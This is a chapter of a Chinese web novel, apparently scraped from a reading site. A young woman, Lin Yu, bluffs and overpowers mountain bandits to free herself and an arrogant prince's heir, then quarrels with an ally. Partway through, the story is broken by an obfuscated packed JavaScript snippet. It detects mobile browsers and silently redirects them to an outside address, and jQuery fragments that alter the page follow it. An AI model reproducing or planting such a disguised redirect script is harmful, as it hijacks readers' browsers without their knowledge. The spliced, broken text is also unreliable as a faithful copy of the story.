祝长卿悠悠转醒,看着围上来五大三粗的汉子,疑惑震惊短暂闪过,立刻切换成暴躁模式。
“你们知道我是……”
他未说完,后颈一疼,眼前一黑,径直倒下去。
众人看呆了。
提刀大汉摸不着头脑,问动手的林余:“妮子,你打晕他作甚?”
林余尴尬笑笑:“诸位大哥,我夫君脾气太差了,我这不是怕他的话惹怒了你们嘛。”
祝长卿这个不带脑子出门的家伙,发现自己被山匪包围,第一反应肯定是拿凌南世子的身份来施压。
可山匪最厌恶的,也正是当官的。
他们既然被逼上山,怎么可能还忌惮对方的一官半职。
惹怒了他们,只会死得更快更惨。
最重要的是,决不能让人知道凌南世子被山匪擒获,不然祝长卿的仕途,也算到了头。
“我有钱的,只要放我们一马,都给你们!”
林余拿出一沓银票递上:“现在这些都是你们的,我离开后保证今晚这里发生的事一字都不会说出去。”
以提刀大汉为首的十来人,第一次见这么多钱,眼珠子都快瞪出来。
“十二哥,这么多钱,够寨子上下花好几年了吧?”
提刀大汉周十二啐了他一口:“没出息,这么点钱就走不动道了?”
林余意会,立刻将两人身上值钱的配饰都摘下。
“这些也是你们的。”
周十二斜眼打量着她:“妮子,你怎么这么好说话?这让哥哥们心里很没底啊?”
“你们和上面那些人,是一伙的吧?别想骗我!”
林余点头,指着祝长卿:“他是,我不是。”
“你刚刚还说他是你夫君!”
“半路认的。”林余哀怨,“我和诸位一样,出身贫寒,被这大官瞧上了,给我家施压,我若是不跟他走,他就要仗势抄我全家,我也是没办法了。”
“他要是有个好歹,我真的不敢想我全家的下场有多悲惨……呜呜……”
“求求各位大哥,行行好,放过我们吧。”
“十二哥,这可怎么办?”
“你问我我问谁去?东哥那边还没结束,看来这拨人不好对付。”
“可若就这么放她走,会不会显得我们太好欺负了?”
周十二苦恼,被林余哭声弄得更烦躁。
按理他们抢劫过往商客,为的就是钱财。
只是第一次碰上这么好宰的羔羊,就这么放了,总觉得怎么想怎么不对劲。
“妮子你先起来别哭了,哥哥们图财不图命,有事好商量。”
“放你走这事我做不了主,你先跟我回去,我问问我们二当家。”
林余心道,没想到这些山匪还挺讲道理,有商有量。
“嗯,我相信你们……哎呀。”
周十二:“妮子咋了?”
“我…脚好像扭到了。”
“多大的事,我扶你一把。”
周十二大步过来,毫无防备朝她伸出手。
他们十来人,还怕对付不了一个弱女子。
巧了。
林余可不这么想。
“多谢。”
林余抓住他的手,巧劲往前一带,对方不由一个踉跄,她紧跟着一记膝踢,将男子反手压制在身前。
周十二被打懵了,反应过来时脖子上已一道冰凉。
林余收回柔弱假面,冷声喝道:“都别过来!”
“妮子你居然敢算计我。”
周十二勃然大怒,要和她拼命。
林余手中箭矢刺入一分,一股鲜血立即从他脖子里流出。
“劝你也别动,不然杀了你。”
这……
众人被林余的杀伐气势震慑,一时不敢妄动。
他们虽是山匪,但也绝不是滥杀之人,眼前这女子,怎么比他们还像十恶不赦的山匪?
“我曾听闻山匪间兄弟一心,日月可鉴,想必你们也不想看着他命丧于此。”
“我无意伤你们,亦不想把事情闹大,现在放我们离开。”
周十二:“你们别管我,动手啊!我今日被一妮子要挟,脸都丢尽了,没资格和你们继续做兄弟。”
林余反问:“家中妻儿,也不重要了?”
周十二愕然:“你怎会知道。”
“你腰间坠着的荷包,明显是女子手工,虽陈旧但却保存很好,不难猜到。”
有人开口:“十二哥,要不就放了她们吧,钱已经到手,没必要把命也搭上。”
“是啊,嫂子还在寨子等你回家。”
周十二欲骂,但到底冷静下来,泄了气:“老子认栽,妮子你赢了。”
“多谢。”
林余目光一挑:“把人扶到马上,你们谁都不许跟来,待我们安全离开后,自会放人。”
“你要是骗人怎么办?”
林余讶异,这些山匪怎么比她还天真。
“诸位,现在我才是握着他生死的人,信与不信在你们,不在我,你们没资格和我商量。”
“说得好!”
一道突兀的声音响起,众人皆扭头看去,就见祝景澜气定神闲向他们走来。
“我劝你们最好乖乖照她说的做,她没和你们开玩笑,当真说到做到。”
林余:……
众人:“他谁啊?”
“不知道啊?”
周十二顿感今日丢脸的人又多了几个:“你们个呆子,我们不认识,自然是和这妮子一伙的!”
林余冷着脸,很想反驳说不认识,祝景澜却看穿了她,好不哀叹:“我好心回来救你,你却装作不认识,真是寒心啊,十二月的雪日都没有此刻这么让我寒凉。”
她有片刻庆幸,身前的山匪不似他这般不着四六,不然抓了根本起不到威胁作用。
“人叫来了吗?”
“来了,你没听到动静?”
周十二:“兄弟们,你们快撤,别管我。”
众人迟疑,林余将他推了出去:“滚。”
周十二:“!”
她就这么麻溜放了他,也太没面子了。
两个大汉立刻过来拉他:“十二哥,别愣着了,钱都到手了快走。”
林余看向祝景澜,突然意识到了什么:“你诈他们?”
“嘘,你要是再大点声,他们可都听见了啊。”
林余:……
“别这么看着我,你就说有没有把你们送出去吧。”
蓝竹峰上的山匪口碑一向很好,只劫财不害命,左右凌南王府卫兵就在附近,找过来迟早的事。
但他还是怕林余对上山匪吃亏,甩开尾巴后立即追了过来。
见到林余在哭的时候,他反而没那么担心,以她的性子能力,不可能那么快服软认栽。
果不其然,没几句话的空隙,她后发制人,反挟持山匪当人质。
果然是他多虑了。
“我来扶。”
“不用。”
“记仇了?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575482|171557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“没有。”
祝长卿不安分动了动,看样子快要醒了。
林余停下:“我问你,万一山匪不吃这套,你又打算如何?”
“见招拆招呗,你不也是一样?”
祝景澜不懂她生气的点,她好像是有点生气了。
林余虽每次能险象环生,但不代表她乐意如此,她不喜欢对局面失去控制的感觉。
明明按照她说的做,什么问题都没有,可他偏偏不听。
“我们不是一路人,就此分别吧。”
祝景澜迟疑了会儿,没有解释,将玉佩还给她:“好,这次我们两清了。”
林余望着他离开,背影几分萧索,冷静下来,道歉的话还是没能说出口。
她的安危,旁人确实没义务保证。
罢了,世间不如意事十之八九,以后或许他们不会再见了。
两拨人同时赶来,将她的思绪拉回。
“大小姐,我们在这里,你没事吧?”
是素兰,队伍里没有人掉队,她心里石头落下,扬起一丝微笑。
来运:“林大小姐,世子怎么样了?”
“逃跑时摔了一下,晕过去了。”
这时祝长卿哼哼唧唧醒来。
他一时间有些恍惚,片刻后清醒果然炸了。
“杨副将,那些山匪呢,把他们统统抓了,竟然敢袭击本世子!我看他们是活得不耐烦了!”
“我凌南王府,怎么能栽在区区山匪手上,传出去还怎么在朝堂上混!”
“派人去抓人啊,看我做什么……不对,你们看她作甚?到底听她的还是听我的!”
林余虽然不想承认,但她怎么觉得比起在山匪这里吃了亏丢了面子,在她这里吃了亏丢了面子更能让祝长卿生气?
罢了,凌南王府现在和林府是绑在一根绳上的蚂蚱,一荣俱荣一损俱损,无需分那么清。
“民女以为不妥,世子当务之急是尽快赶到十二关,顺利完成王爷交代的事情为重。况且蓝竹峰并不在行进路线里,世子又何必徒增麻烦。”
祝长卿挥袖质问:“你现在是在质疑我?凭什么要你觉得而不是我觉得?”
这般态势,林余早已习惯,硬着来只会让事态更麻烦,于是软和调子解释:“山匪大多乡野粗民,大字不识,在他们眼里,今夜打劫的,和寻常商客无二。”
“若他们知道拦的是凌南王府的世子,怕是惊惧惶恐跪求以死谢罪。”
“世子仁心,何必与他们计较。”
杨副将弱弱附和:“世子,林大小姐说得在理。”
祝长卿眯起眼:“林余,我怎么觉得你在帮他们说话?”
嗯?好像有点长进了,但不多。
“世子莫要玩笑,我自然站世子这边。”
“真的?”
“千真万真。”
“这还差不多……既然都是一群流民,本世子也懒得计较。”
“药拿到了?”
“嗯,多谢世子记挂。”
祝长卿有些嫌弃扫了眼林余,此刻她蓬头垢面,身上也乱糟糟的,虽然他也大差不差,但胜在自己不觉得:“别往脸上贴金,谁记挂你啊。”
“我担心的是林伯父,记得替我向他问好。”
“若是缺些什么,尽管让人来王府拿。”
他说完,自己也觉得不自在,立刻转身走了。
林余疑惑,这么好哄?
祝长卿这是不打算和她退婚了,不然为何突然那么关心阿爹?